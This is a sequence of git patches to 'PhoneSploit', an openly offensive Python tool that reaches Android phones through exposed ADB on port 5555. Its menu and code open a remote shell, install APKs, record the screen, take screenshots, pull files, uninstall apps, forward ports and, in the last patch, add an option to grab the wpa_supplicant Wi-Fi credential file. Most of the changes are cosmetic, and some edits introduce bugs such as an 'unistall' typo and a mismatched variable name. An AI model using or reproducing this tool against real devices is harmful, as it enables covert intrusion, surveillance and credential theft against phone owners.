"(device_reboot_cons) "+Fore.WHITE + "> ") - print ("\nEnter ctrl +c to stop") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(device_reboot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+ " reboot ") elif option == '11': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - print ("\nEnter a package name.") - package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" uninstall "+package_name) + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" unistall "+package_name) elif option == '12': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ") os.system('adb -s '+device_name+" logcat ") elif option == '13': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" dumpsys") elif option == '14': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ") os.system("adb -s " +device_name+ " shell pm list packages -f") main() elif option == '15': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") - print ("\nEnter a package name. They look like this --> com.snapchat.android") - package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() elif option == '16': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print ("\nEnter a port on the device.") - port_device = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print ("\nEnter a port to forward it too.") - forward_port = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE) + port_device = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE) + forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) elif option == '0': diff --git a/main_linux.py b/main_linux.py index b3c283f..01fe39d 100644 --- a/main_linux.py +++ b/main_linux.py @@ -110,104 +110,113 @@ def main(): load_count += 1 option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': - yn = raw_input(Fore.WHITE + "Would you like to see advanced devices "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) - if yn.lower() == "y": + yn = raw_input(Fore.WHITE + "[+] Would you like to see advanced devices "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) + if yn.lower() == "y" or yn.lower() == "Y": os.system("adb devices -l") - elif yn.lower() == "n": + else: os.system("adb devices") elif option == '2': os.system("adb disconnect") elif option == '3': - print ("\nEnter a phones ip address.") - ip = raw_input (Fore.WHITE + "phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE) + ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") os.system("adb connect "+ip+":5555") elif option == '4': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell") elif option == '5': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") - print ("\nEnter the apk location.") - apk_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") + print (" "+connect) + print (" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE) + apk_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" install "+apk_location) print (Fore.GREEN + "Apk has been installed.") elif option == '6': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") - print (Fore.RED + "Please wait 3m its recording") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") + print (" "+connect) + print (" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE) + print (" "+connect) os.system("adb -s "+device_name+" shell screenrecord /sdcard/demo.mp4") - print ("\nEnter where you would like the video to be saved.") - place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") + print (" [{0}+{1}]Enter where you would like the video to be saved.").format(Fore.RED, Fore.WHITE) + place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull /sdcard/demo.mp4 "+place_location) elif option == '7': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell screencap /sdcard/screen.png") - print ("\nEnter where you would like the screenshot to be saved.") - place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter where you would like the screenshot to be saved.").format(Fore.RED, Fore.WHITE) + place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull /sdcard/screen.png "+place_location) elif option == '8': os.system("adb kill-server && adb start-server") elif option == '9': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print ("\nEnter a file location on a device") - file_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") - print ("\nEnter where you would like the file to be saved.") - place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE) + file_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter where you would like the file to be saved.").format(Fore.RED, Fore.WHITE) + place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" pull "+file_location+" "+place_location) elif option == '10': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(device_reboot_cons) "+Fore.WHITE + "> ") - print ("\nEnter ctrl +c to stop") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(device_reboot) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+ " reboot ") elif option == '11': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - print ("\nEnter a package name.") - package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" uninstall "+package_name) + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" unistall "+package_name) elif option == '12': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ") os.system('adb -s '+device_name+" logcat ") elif option == '13': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" dumpsys") elif option == '14': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ") os.system("adb -s " +device_name+ " shell pm list packages -f") main() elif option == '15': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") - print ("\nEnter a package name. They look like this --> com.snapchat.android") - package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500") main() elif option == '16': - print ("\nEnter a device name.") - device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print ("\nEnter a port on the device.") - port_device = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") - print ("\nEnter a port to forward it too.") - forward_port = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE) + port_device = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE) + forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) elif option == '0': @@ -220,13 +229,13 @@ def main(): elif option == '99': exit() - main() + main() #============================= # Run yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) -if yn == "n" or yn == "N": +if yn == "n": os.system("sudo apt install adb") main() From 2e537d3f8a16ca0ec161a170d45e95be991ccc6d Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 17:11:40 -0700 Subject: [PATCH 15/36] Added New Look and Banners --- main.py | 40 +++++++++++++++++++--------------------- main_linux.py | 50 ++++++++++++++++++++++++++------------------------ 2 files changed, 45 insertions(+), 45 deletions(-) diff --git a/main.py b/main.py index 477aa8a..4cea68e 100644 --- a/main.py +++ b/main.py @@ -47,24 +47,28 @@ def ColoringModeStartup(): connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE logo_design_1 = (''' - ____ __ _____ __ _ __ + {0} ____ __ _____ __ _ __ / __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_ / /_/ / __ \/ __ \/ __ \/ _ \\__ \/ __ \/ / __ \/ / __/ - / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_ +{1} / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_ /_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/ - /_/''') - -logo_design_2 = ''' - _____ _ _____ _ _ _ -| _ | |_ ___ ___ ___| __|___| |___|_| |_ -| __| | . | | -_|__ | . | | . | | _| -|__| |_|_|___|_|_|___|_____| _|_|___|_|_| - |_|''' + /_/''').format(Fore.GREEN, Fore.WHITE, Fore.RED) + +logo_design_2 = Fore.GREEN + ''' + .;' `;, + .;' ,;' `;, `;, {0}PhoneSploit +.;' ,;' ,;' `;, `;, `;, +:: :: : {1}( ){0} : :: :: {1}Coded by Zucccs / Metachar{0} +':. ':. ':. {1}/_\{0} ,:' ,:' ,:' + ':. ':. {1}/___\{0} ,:' ,:' + ':. {1}/_____\{0} ,:' + {1}/ \\{0} +'''.format(Fore.GREEN, Fore.WHITE, Fore.RED) logo_design_pre = ''' -╔═╗┬ ┬┌─┐┌┐┌┌─┐╔═╗┌─┐┬ ┌─┐┬┌┬┐ -╠═╝├─┤│ ││││├┤ ╚═╗├─┘│ │ ││ │ -╩ ┴ ┴└─┘┘└┘└─┘╚═╝┴ ┴─┘└─┘┴ ┴ ''' +{0}╔═╗{1}┬ ┬┌─┐┌┐┌┌─┐{0}╔═╗{1}┌─┐┬ ┌─┐┬┌┬┐ +{0}╠═╝{1}├─┤│ ││││├┤ {0}╚═╗{1}├─┘│ │ ││ │ +{0}╩ {1}┴ ┴└─┘┘└┘└─┘{0}╚═╝{1}┴ ┴─┘└─┘┴ ┴ '''.format(Fore.GREEN, Fore.WHITE, Fore.RED) logo_design_3 = logo_design_pre.decode("utf-8") logo_design_4 = ''' @@ -96,7 +100,7 @@ def ColoringModeStartup(): {0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear -'''.format(Fore.WHITE, Fore.RED, Fore.YELLOW) +'''.format(Fore.CYAN, Fore.RED, Fore.GREEN) #============================= #Main def main(): @@ -107,18 +111,13 @@ def main(): os.system("adb tcpip 5555") t.sleep(4) os.system('cls') - os.system('clear') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message load_count += 1 option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': - yn = raw_input(Fore.WHITE + "[+] Would you like to see advanced devices "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) - if yn.lower() == "y" or yn.lower() == "Y": - os.system("adb devices -l") - else: - os.system("adb devices") + os.system("adb devices -l") elif option == '2': os.system("adb disconnect") elif option == '3': @@ -225,7 +224,6 @@ def main(): elif option == '0': os.system('cls') - os.system('clear') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message diff --git a/main_linux.py b/main_linux.py index 01fe39d..e17d153 100644 --- a/main_linux.py +++ b/main_linux.py @@ -41,26 +41,33 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 + +arrow = Fore.RED + " └──>".decode("utf-8") + Fore.WHITE +connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE + logo_design_1 = (''' - ____ __ _____ __ _ __ + {0} ____ __ _____ __ _ __ / __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_ / /_/ / __ \/ __ \/ __ \/ _ \\__ \/ __ \/ / __ \/ / __/ - / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_ +{1} / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_ /_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/ - /_/''') - -logo_design_2 = ''' -██████╗ ██╗ ██╗ ██████╗ ███╗ ██╗███████╗███████╗██████╗ ██╗ ██████╗ ██╗████████╗ -██╔══██╗██║ ██║██╔═══██╗████╗ ██║██╔════╝██╔════╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝ -██████╔╝███████║██║ ██║██╔██╗ ██║█████╗ ███████╗██████╔╝██║ ██║ ██║██║ ██║ -██╔═══╝ ██╔══██║██║ ██║██║╚██╗██║██╔══╝ ╚════██║██╔═══╝ ██║ ██║ ██║██║ ██║ -██║ ██║ ██║╚██████╔╝██║ ╚████║███████╗███████║██║ ███████╗╚██████╔╝██║ ██║ -╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ''' + /_/''').format(Fore.GREEN, Fore.WHITE, Fore.RED) + +logo_design_2 = Fore.GREEN + ''' + .;' `;, + .;' ,;' `;, `;, {0}PhoneSploit +.;' ,;' ,;' `;, `;, `;, +:: :: : {1}( ){0} : :: :: {1}Coded by Zucccs / Metachar{0} +':. ':. ':. {1}/_\{0} ,:' ,:' ,:' + ':. ':. {1}/___\{0} ,:' ,:' + ':. {1}/_____\{0} ,:' + {1}/ \\{0} +'''.format(Fore.GREEN, Fore.WHITE, Fore.RED) logo_design_pre = ''' -╔═╗┬ ┬┌─┐┌┐┌┌─┐╔═╗┌─┐┬ ┌─┐┬┌┬┐ -╠═╝├─┤│ ││││├┤ ╚═╗├─┘│ │ ││ │ -╩ ┴ ┴└─┘┘└┘└─┘╚═╝┴ ┴─┘└─┘┴ ┴ ''' +{0}╔═╗{1}┬ ┬┌─┐┌┐┌┌─┐{0}╔═╗{1}┌─┐┬ ┌─┐┬┌┬┐ +{0}╠═╝{1}├─┤│ ││││├┤ {0}╚═╗{1}├─┘│ │ ││ │ +{0}╩ {1}┴ ┴└─┘┘└┘└─┘{0}╚═╝{1}┴ ┴─┘└─┘┴ ┴ '''.format(Fore.GREEN, Fore.WHITE, Fore.RED) logo_design_3 = logo_design_pre.decode("utf-8") logo_design_4 = ''' @@ -84,15 +91,15 @@ oNMm- -mMNs''' message = '''\n -{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}16{0}]{2} Port Forwarding +{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}16{0}]{2} Port Forwarding {0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device {0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info {0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone {0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app -{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear Screen -'''.format(Fore.WHITE, Fore.RED, Fore.YELLOW) +{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear +'''.format(Fore.CYAN, Fore.RED, Fore.GREEN) #============================= #Main def main(): @@ -103,18 +110,13 @@ def main(): os.system("adb tcpip 5555") t.sleep(4) os.system('cls') - os.system('clear') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message load_count += 1 option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': - yn = raw_input(Fore.WHITE + "[+] Would you like to see advanced devices "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) - if yn.lower() == "y" or yn.lower() == "Y": os.system("adb devices -l") - else: - os.system("adb devices") elif option == '2': os.system("adb disconnect") elif option == '3': @@ -221,7 +223,6 @@ def main(): elif option == '0': os.system('cls') - os.system('clear') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message @@ -233,7 +234,8 @@ def main(): main() -#============================= + +#============================= # Run yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) if yn == "n": From 55cc441ffa61a6817bd3e196adfcd3ed13e43857 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 18:46:00 -0700 Subject: [PATCH 16/36] Add files via upload --- main_linux.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/main_linux.py b/main_linux.py index e17d153..158e1eb 100644 --- a/main_linux.py +++ b/main_linux.py @@ -103,8 +103,7 @@ #============================= #Main def main(): - global load_count - os.chdir(CurrentDir+"//adb") + global load_counts while load_count == 0: print (Fore.RED + "Starting adb server..") os.system("adb tcpip 5555") From 525ad0310cf87a8a2c03b7be4437314f60745ed3 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 18:48:07 -0700 Subject: [PATCH 17/36] Add files via upload --- main_linux.py | 1 + 1 file changed, 1 insertion(+) diff --git a/main_linux.py b/main_linux.py index 158e1eb..f7b6ba6 100644 --- a/main_linux.py +++ b/main_linux.py @@ -42,6 +42,7 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 +load_counts = 0 arrow = Fore.RED + " └──>".decode("utf-8") + Fore.WHITE connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE From 0ac9023044e65d51dd565c8ae649cbd959a0afb6 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 18:54:32 -0700 Subject: [PATCH 18/36] Add files via upload --- main.py | 19 ++++++++----------- main_linux.py | 18 +++++++----------- 2 files changed, 15 insertions(+), 22 deletions(-) diff --git a/main.py b/main.py index 4cea68e..b711ee6 100644 --- a/main.py +++ b/main.py @@ -104,17 +104,6 @@ def ColoringModeStartup(): #============================= #Main def main(): - global load_count - os.chdir(CurrentDir+"//adb") - while load_count == 0: - print (Fore.RED + "Starting adb server..") - os.system("adb tcpip 5555") - t.sleep(4) - os.system('cls') - banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) - print Fore.RED + banner_title - print message - load_count += 1 option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': os.system("adb devices -l") @@ -238,4 +227,12 @@ def main(): #============================= # Run +os.chdir(CurrentDir+"//adb") +print (Fore.RED + "Starting adb server..") +os.system("adb tcpip 5555") +t.sleep(4) +os.system('cls') +banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) +print Fore.RED + banner_title +print message ColoringModeStartup() diff --git a/main_linux.py b/main_linux.py index f7b6ba6..ff5cd9d 100644 --- a/main_linux.py +++ b/main_linux.py @@ -42,7 +42,6 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 -load_counts = 0 arrow = Fore.RED + " └──>".decode("utf-8") + Fore.WHITE connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE @@ -104,16 +103,6 @@ #============================= #Main def main(): - global load_counts - while load_count == 0: - print (Fore.RED + "Starting adb server..") - os.system("adb tcpip 5555") - t.sleep(4) - os.system('cls') - banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) - print Fore.RED + banner_title - print message - load_count += 1 option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': os.system("adb devices -l") @@ -240,4 +229,11 @@ def main(): yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) if yn == "n": os.system("sudo apt install adb") +print (Fore.RED + "Starting adb server..") +os.system("adb tcpip 5555") +t.sleep(4) +os.system('cls') +banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) +print Fore.RED + banner_title +print message main() From feb78cd7eb7ab4f9305b1da9fb3337c5a602d730 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 19:05:01 -0700 Subject: [PATCH 19/36] Add files via upload --- main_linux.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/main_linux.py b/main_linux.py index ff5cd9d..bac0ecf 100644 --- a/main_linux.py +++ b/main_linux.py @@ -211,7 +211,7 @@ def main(): os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) elif option == '0': - os.system('cls') + os.system('clear') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message @@ -232,7 +232,7 @@ def main(): print (Fore.RED + "Starting adb server..") os.system("adb tcpip 5555") t.sleep(4) -os.system('cls') +os.system('clear') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message From 9266dc0ac29c9ee0bc15ff1cf5f6eb2835cb24c9 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 22:05:57 -0700 Subject: [PATCH 20/36] Add files via upload --- main.py | 81 ++++++++++++++++++++++++++++++++++++++++++--------- main_linux.py | 55 ++++++++++++++++++++++++++++++++-- 2 files changed, 119 insertions(+), 17 deletions(-) diff --git a/main.py b/main.py index b711ee6..3f7e08e 100644 --- a/main.py +++ b/main.py @@ -92,11 +92,11 @@ def ColoringModeStartup(): oNMm- -mMNs''' message = '''\n -{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}16{0}]{2} Port Forwarding -{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device -{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info -{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone -{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app +{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}17{0}]{2} Grab wpa_supplicant +{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device {0}[{1}18{0}]{2} Show 